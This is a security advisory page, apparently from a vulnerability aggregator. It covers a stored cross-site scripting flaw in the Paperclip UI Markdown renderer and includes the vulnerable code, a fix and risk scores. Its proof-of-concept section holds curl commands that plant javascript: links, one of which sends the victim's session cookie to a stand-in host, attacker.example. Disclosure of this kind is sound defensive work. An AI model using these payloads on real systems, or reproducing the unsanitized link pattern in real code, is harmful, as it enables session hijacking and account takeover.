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OSV ecosystem advisory

GHSA-fpw4-p57j-hqmq: Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization

MediumCVSS 5.4 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 21/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. A user must open a link or visit a page. No special conditions are required; it is repeatable.
  • Fixed version: @paperclipai/ui (npm) 2026.416.0.

Low priority for now. Upgrade to @paperclipai/ui (npm) 2026.416.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary `MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant. ## Details ### 1. Sink: MarkdownBody overrides url sanitization `ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element): ```tsx a: ({ href, children: linkChildren }) => { const parsed = href ? parseMentionChipHref(href) : null; if (parsed) { /* mention chip path, rewrites href */ } return ( <a href={href} rel="noreferrer"> {linkChildren} </a> ); }, // ... <Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}> {children} </Markdown> ``` `react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin. ### 2. Source: unsanitized markdown bodies `server/src/routes/issues.ts:815-862` accepts issue document bodies: ```ts router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => { // ... assertCompanyAccess(req, issue.companyId); // ... const result = await documentsSvc.upsertIssueDocument({ issueId: issue.id, key: keyParsed.data, title: req.body.title ?? null, format: req.body.format, body: req.body.body, // ← stored verbatim // ... }); ``` `packages/shared/src/validators/issue.ts:196-202`: ```ts export const upsertIssueDocumentSchema = z.object({ title: z.string().trim().max(200).nullable().optional(), format: issueDocumentFormatSchema, // enum: ["markdown"] body: z.string().max(524288), // no content validation // ... }); ``` Only the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator). ### 3. Rendering path `ui/src/components/IssueDocumentsSection.tsx:71-72`: ```tsx function renderBody(body: string, className?: string) { return <MarkdownBody className={className}>{body}</MarkdownBody>; } ``` `ui/src/components/CommentThread.tsx:372`: ```tsx <MarkdownBody className="text-sm">{comment.body}</MarkdownBody> ``` The same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability. ### 4. Authorization does not block cross-user reach `server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue. ### 5. No compensating CSP A repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click. ## PoC Prerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`. **Step 1 — Attacker plants a malicious issue document:** ```bash curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \ -H 'Cookie: <attacker-session-cookie>' \ -H 'Content-Type: application/json' \ -d '{ "format": "markdown", "body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))" }' ``` Expected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes. **Step 2 — Victim opens the issue:** The victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM: ```html <a href="javascript:fetch(&quot;https://attacker.example/steal?c=&quot;+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a> ``` **Step 3 — Victim clicks the link:** The browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc. **Alternate vector — comments (same sink):** ```bash curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \ -H 'Cookie: <attacker-session-cookie>' \ -H 'Content-Type: application/json' \ -d '{"body":"[pwn](javascript:alert(document.cookie))"}' ``` `CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges. ## Impact - **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click. - **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host. - **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings). - **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable. - **Persistent.** The payload lives in the document or comment record until explicitly deleted. ## Recommended Fix The minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`: ```tsx // ui/src/components/MarkdownBody.tsx import Markdown, { defaultUrlTransform, type Components } from "react-markdown"; // ... // Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs, // but fall back to the library's scheme allow-list for everything else. function safeUrlTransform(url: string): string { if (url.startsWith("paperclip-mention://")) return url; return defaultUrlTransform(url); } <Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={safeUrlTransform} > {children} </Markdown> ``` `defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`. Defense-in-depth recommendations: 1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src 'self' 'nonce-...'`) so that even a future regression cannot execute inline JS via `javascript:` navigation. 2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content. 3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.

Published
Apr 16, 2026
Updated
Apr 16, 2026
EPSS
—

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Action score

21

Monitor

Low priority for now.

CVSS
21 / 40 · 5.4 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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VendorProduct
npm@paperclipai/ui

Limit the impact of XSS

This is a cross-site scripting (XSS) vulnerability. A well-configured Content-Security-Policy doesn't fix it, but greatly reduces its impact. Check your site's CSP and other security headers for free.

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Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@paperclipai/uibefore 2026.416.02026.416.0

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@paperclipai/ui2026.416.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • A user must open a link or visit a page.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
low · data can be read
Integrity
low · data or configuration can be modified
Availability
none

Impact can extend beyond the vulnerable component (scope changes).

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality impact
Low
Integrity impact
Low
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

osv

Root cause

User content is inserted into the page as HTML. The browser interprets the content as code rather than data.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
commentEl.innerHTML = comment.body;

Fixed

ts
commentEl.textContent = comment.body;

References

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